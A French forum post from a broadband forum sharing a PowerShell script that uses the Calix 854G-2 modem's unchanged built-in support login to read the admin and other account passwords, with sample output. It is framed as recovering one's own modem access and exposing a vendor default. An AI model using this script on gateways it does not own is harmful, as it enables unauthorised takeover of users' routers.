La Fibre

Fournisseurs d'accès à Internet fixe en France métropolitaine => Opérateurs grand public alternatifs => Vialis Vialis => Discussion démarrée par: gentilkiwi le 05 janvier 2019 à 17:39:29

Titre: Récupération du compte administrateur du Calix 854G-2
Posté par: gentilkiwi le 05 janvier 2019 à 17:39:29
Un petit bout de code PowerShell pour récupérer son compte administrateur du modem Calix 854G-2, en se servant des identifiants support codés dans la passerelle (et non changés :()
Pour cela, ces petites lignes de script utilisent le login 'support' et le mot de passe 'PleaseChangeMe'

$gateway = '192.168.1.1'
$supportCreds = 'support:PleaseChangeMe'
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie('Authorization', [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($supportCreds)), '', $gateway)
$session.Cookies.Add($cookie)
Invoke-WebRequest `
-Uri $('http://' + $gateway + '/cgi_parameter_value.cmd') `
-WebSession $session `
-Method Post `
-Body @{'action'='get'; 'ejGetVal'='adminUserName,adminPassword,sptUserName,sptPassword,usrUserName,usrPassword'} `
| Select-Object -Expand Content # or ConvertFrom-Json

En sortie:
{
        "adminUserName":        "xxx",
        "adminPassword":        "xxx",
        "sptUserName":  "support",
        "sptPassword":  "PleaseChangeMe",
        "usrUserName":  "user",
        "usrPassword":  "user"
}

Ce compte de support donne d'ailleurs accès à un sous menu de support (attention à vos modifications)
(http://image.noelshack.com/fichiers/2019/01/6/1546706237-support.png)
(http://image.noelshack.com/fichiers/2019/01/6/1546706306-support2.png)
Il semble être utilisé par le support Vialis. Attention certaines modifications effectués via ce compte ne sont pas forcèment visible dans les paramètres admin.